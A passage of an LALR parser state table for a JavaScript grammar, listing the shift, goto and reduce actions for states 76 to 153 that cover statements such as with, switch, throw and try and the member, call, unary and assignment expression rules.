go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 195 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 194 - -state 76 - - 267) WithStatement : WITH _ "(" Expr ")" Statement - - "(" shift, and go to state 197 - - -state 77 - - 268) SwitchStatement : SWITCH _ "(" Expr ")" CaseBlock - - "(" shift, and go to state 198 - - -state 78 - - 278) ThrowStatement : THROW _ Expr ";" - 279) ThrowStatement : THROW _ Expr error - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 199 - -state 79 - - 280) TryStatement : TRY _ Block FINALLY Block - 281) TryStatement : TRY _ Block CATCH "(" IDENT ")" Block - 282) TryStatement : TRY _ Block CATCH "(" IDENT ")" Block FINALLY Block - - "{" shift, and go to state 65 - - Block go to state 200 - -state 80 - - 283) DebuggerStatement : DEBUGGER _ ";" - 284) DebuggerStatement : DEBUGGER _ error - - error shift, and go to state 202 - ";" shift, and go to state 201 - - -state 81 - - 285) FunctionDeclaration : FUNCTION _ IDENT "(" ")" "{" FunctionBody "}" - 286) FunctionDeclaration : FUNCTION _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 203 - - -state 82 - - - $end shift, and go to state 204 - - -state 83 - - 4) SourceElementList : SourceElementList SourceElement _ - - $default reduce using rule 4 (SourceElementList) - - -state 84 - - 277) LabelledStatement : IDENT ":" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 205 - -state 85 - - 36) PrimaryExpr : PrimaryExprNoBrace _ - - $default reduce using rule 36 (PrimaryExpr) - - -state 86 - - 37) PrimaryExpr : "{" _ "}" - 38) PrimaryExpr : "{" _ PropertyList "}" - 39) PrimaryExpr : "{" _ PropertyList "," "}" - - NUMBER shift, and go to state 208 - STRING shift, and go to state 207 - IDENT shift, and go to state 206 - "}" shift, and go to state 211 - - Property go to state 209 - PropertyList go to state 210 - -state 87 - - 43) PrimaryExprNoBrace : IDENT _ - - $default reduce using rule 43 (PrimaryExprNoBrace) - - -state 88 - - 44) PrimaryExprNoBrace : "(" Expr _ ")" - 214) Expr : Expr _ "," AssignmentExpr - - ")" shift, and go to state 212 - "," shift, and go to state 213 - - -state 89 - - 54) MemberExpr : PrimaryExpr _ - - $default reduce using rule 54 (MemberExpr) - - -state 90 - - 55) MemberExpr : FunctionExpr _ - - $default reduce using rule 55 (MemberExpr) - - -state 91 - - 56) MemberExpr : MemberExpr _ "[" Expr "]" - 57) MemberExpr : MemberExpr _ "." IDENT - 63) NewExpr : MemberExpr _ - 67) CallExpr : MemberExpr _ Arguments - - "(" shift, and go to state 119 - "[" shift, and go to state 214 - "." shift, and go to state 215 - $default reduce using rule 63 (NewExpr) - - Arguments go to state 216 - -state 92 - - 58) MemberExpr : NEW _ MemberExpr Arguments - 64) NewExpr : NEW _ NewExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 217 - NewExpr go to state 218 - -state 93 - - 68) CallExpr : CallExpr _ Arguments - 69) CallExpr : CallExpr _ "[" Expr "]" - 70) CallExpr : CallExpr _ "." IDENT - 80) LeftHandSideExpr : CallExpr _ - - "(" shift, and go to state 119 - "[" shift, and go to state 220 - "." shift, and go to state 221 - $default reduce using rule 80 (LeftHandSideExpr) - - Arguments go to state 219 - -state 94 - - 79) LeftHandSideExpr : NewExpr _ - - $default reduce using rule 79 (LeftHandSideExpr) - - -state 95 - - 83) PostfixExpr : LeftHandSideExpr _ - 84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS - 85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS - 196) AssignmentExpr : LeftHandSideExpr _ AssignmentOperator AssignmentExpr - - PLUSPLUS shift, and go to state 222 - MINUSMINUS shift, and go to state 223 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 83 (PostfixExpr) - - AssignmentOperator go to state 224 - -state 96 - - 98) UnaryExpr : PostfixExpr _ - - $default reduce using rule 98 (UnaryExpr) - - -state 97 - - 99) UnaryExpr : UnaryExprCommon _ - - $default reduce using rule 99 (UnaryExpr) - - -state 98 - - 102) MultiplicativeExpr : UnaryExpr _ - - $default reduce using rule 102 (MultiplicativeExpr) - - -state 99 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 110) AdditiveExpr : MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 110 (AdditiveExpr) - - -state 100 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 116) ShiftExpr : AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 116 (ShiftExpr) - - -state 101 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 124) RelationalExpr : ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 124 (RelationalExpr) - - -state 102 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 144) EqualityExpr : RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 144 (EqualityExpr) - - -state 103 - - 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr - 146) EqualityExpr : EqualityExpr _ NE RelationalExpr - 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr - 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr - 159) BitwiseANDExpr : EqualityExpr _ - - EQEQ shift, and go to state 239 - NE shift, and go to state 240 - STREQ shift, and go to state 241 - STRNEQ shift, and go to state 242 - $default reduce using rule 159 (BitwiseANDExpr) - - -state 104 - - 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr - 165) BitwiseXORExpr : BitwiseANDExpr _ - - "&" shift, and go to state 243 - $default reduce using rule 165 (BitwiseXORExpr) - - -state 105 - - 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr - 171) BitwiseORExpr : BitwiseXORExpr _ - - "^" shift, and go to state 244 - $default reduce using rule 171 (BitwiseORExpr) - - -state 106 - - 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr - 177) LogicalANDExpr : BitwiseORExpr _ - - "|" shift, and go to state 245 - $default reduce using rule 177 (LogicalANDExpr) - - -state 107 - - 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr - 183) LogicalORExpr : LogicalANDExpr _ - - AND shift, and go to state 246 - $default reduce using rule 183 (LogicalORExpr) - - -state 108 - - 184) LogicalORExpr : LogicalORExpr _ OR LogicalANDExpr - 189) ConditionalExpr : LogicalORExpr _ - 190) ConditionalExpr : LogicalORExpr _ "?" AssignmentExpr ":" AssignmentExpr - - OR shift, and go to state 247 - "?" shift, and go to state 248 - $default reduce using rule 189 (ConditionalExpr) - - -state 109 - - 195) AssignmentExpr : ConditionalExpr _ - - $default reduce using rule 195 (AssignmentExpr) - - -state 110 - - 213) Expr : AssignmentExpr _ - - $default reduce using rule 213 (Expr) - - -state 111 - - 287) FunctionExpr : FUNCTION _ "(" ")" "{" FunctionBody "}" - 288) FunctionExpr : FUNCTION _ "(" FormalParameterList ")" "{" FunctionBody "}" - 289) FunctionExpr : FUNCTION _ IDENT "(" ")" "{" FunctionBody "}" - 290) FunctionExpr : FUNCTION _ IDENT "(" FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 250 - "(" shift, and go to state 249 - - -state 112 - - 45) ArrayLiteral : "[" ElisionOpt _ "]" - 48) ElementList : ElisionOpt _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "]" shift, and go to state 251 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - AssignmentExpr go to state 252 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 113 - - 46) ArrayLiteral : "[" ElementList _ "]" - 47) ArrayLiteral : "[" ElementList _ "," ElisionOpt "]" - 49) ElementList : ElementList _ "," ElisionOpt AssignmentExpr - - "," shift, and go to state 254 - "]" shift, and go to state 253 - - -state 114 - - 51) ElisionOpt : Elision _ - 53) Elision : Elision _ "," - - "," shift, and go to state 255 - $default reduce using rule 51 (ElisionOpt) - - -state 115 - - 52) Elision : "," _ - - $default reduce using rule 52 (Elision) - - -state 116 - - 60) MemberExprNoBF : MemberExprNoBF "[" _ Expr "]" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - Expr go to state 256 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - -state 117 - - 61) MemberExprNoBF : MemberExprNoBF "." _ IDENT - - IDENT shift, and go to state 257 - - -state 118 - - 71) CallExprNoBF : MemberExprNoBF Arguments _ - - $default reduce using rule 71 (CallExprNoBF) - - -state 119 - - 75) Arguments : "(" _ ")" - 76) Arguments : "(" _ ArgumentList ")" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - ")" shift, and go to state 258 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - ArgumentList go to state 259 - AssignmentExpr go to state 260 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 120 - - 56) MemberExpr : MemberExpr _ "[" Expr "]" - 57) MemberExpr : MemberExpr _ "." IDENT - 62) MemberExprNoBF : NEW MemberExpr _ Arguments - 63) NewExpr : MemberExpr _ - - "(" shift, and go to state 119 - "[" shift, and go to state 214 - "." shift, and go to state 215 - $default reduce using rule 63 (NewExpr) - - Arguments go to state 261 - -state 121 - - 66) NewExprNoBF : NEW NewExpr _ - - $default reduce using rule 66 (NewExprNoBF) - - -state 122 - - 72) CallExprNoBF : CallExprNoBF Arguments _ - - $default reduce using rule 72 (CallExprNoBF) - - -state 123 - - 73) CallExprNoBF : CallExprNoBF "[" _ Expr "]" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - Expr go to state 262 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - -state 124 - - 74) CallExprNoBF : CallExprNoBF "." _ IDENT - - IDENT shift, and go to state 263 - - -state 125 - - 87) PostfixExprNoBF : LeftHandSideExprNoBF PLUSPLUS _ - - $default reduce using rule 87 (PostfixExprNoBF) - - -state 126 - - 88) PostfixExprNoBF : LeftHandSideExprNoBF MINUSMINUS _ - - $default reduce using rule 88 (PostfixExprNoBF) - - -state 127 - - 200) AssignmentExprNoBF : LeftHandSideExprNoBF AssignmentOperator _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 264 - -state 128 - - 201) AssignmentOperator : "=" _ - - $default reduce using rule 201 (AssignmentOperator) - - -state 129 - - 202) AssignmentOperator : PLUSEQUAL _ - - $default reduce using rule 202 (AssignmentOperator) - - -state 130 - - 203) AssignmentOperator : MINUSEQUAL _ - - $default reduce using rule 203 (AssignmentOperator) - - -state 131 - - 204) AssignmentOperator : MULTEQUAL _ - - $default reduce using rule 204 (AssignmentOperator) - - -state 132 - - 205) AssignmentOperator : DIVEQUAL _ - - $default reduce using rule 205 (AssignmentOperator) - - -state 133 - - 206) AssignmentOperator : LSHIFTEQUAL _ - - $default reduce using rule 206 (AssignmentOperator) - - -state 134 - - 207) AssignmentOperator : RSHIFTEQUAL _ - - $default reduce using rule 207 (AssignmentOperator) - - -state 135 - - 208) AssignmentOperator : URSHIFTEQUAL _ - - $default reduce using rule 208 (AssignmentOperator) - - -state 136 - - 209) AssignmentOperator : ANDEQUAL _ - - $default reduce using rule 209 (AssignmentOperator) - - -state 137 - - 210) AssignmentOperator : XOREQUAL _ - - $default reduce using rule 210 (AssignmentOperator) - - -state 138 - - 211) AssignmentOperator : OREQUAL _ - - $default reduce using rule 211 (AssignmentOperator) - - -state 139 - - 212) AssignmentOperator : MODEQUAL _ - - $default reduce using rule 212 (AssignmentOperator) - - -state 140 - - 83) PostfixExpr : LeftHandSideExpr _ - 84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS - 85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS - - PLUSPLUS shift, and go to state 222 - MINUSMINUS shift, and go to state 223 - $default reduce using rule 83 (PostfixExpr) - - -state 141 - - 89) UnaryExprCommon : DELETE UnaryExpr _ - - $default reduce using rule 89 (UnaryExprCommon) - - -state 142 - - 90) UnaryExprCommon : VOID UnaryExpr _ - - $default reduce using rule 90 (UnaryExprCommon) - - -state 143 - - 91) UnaryExprCommon : TYPEOF UnaryExpr _ - - $default reduce using rule 91 (UnaryExprCommon) - - -state 144 - - 92) UnaryExprCommon : PLUSPLUS UnaryExpr _ - - $default reduce using rule 92 (UnaryExprCommon) - - -state 145 - - 93) UnaryExprCommon : MINUSMINUS UnaryExpr _ - - $default reduce using rule 93 (UnaryExprCommon) - - -state 146 - - 94) UnaryExprCommon : "+" UnaryExpr _ - - $default reduce using rule 94 (UnaryExprCommon) - - -state 147 - - 95) UnaryExprCommon : "-" UnaryExpr _ - - $default reduce using rule 95 (UnaryExprCommon) - - -state 148 - - 96) UnaryExprCommon : "~" UnaryExpr _ - - $default reduce using rule 96 (UnaryExprCommon) - - -state 149 - - 97) UnaryExprCommon : "!" UnaryExpr _ - - $default reduce using rule 97 (UnaryExprCommon) - - -state 150 - - 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF "*" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 265 - -state 151 - - 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF "/" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 266 - -state 152 - - 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF "%" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 267 - -state 153 - - 114) AdditiveExprNoBF : AdditiveExprNoBF "+" _ MultiplicativeExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 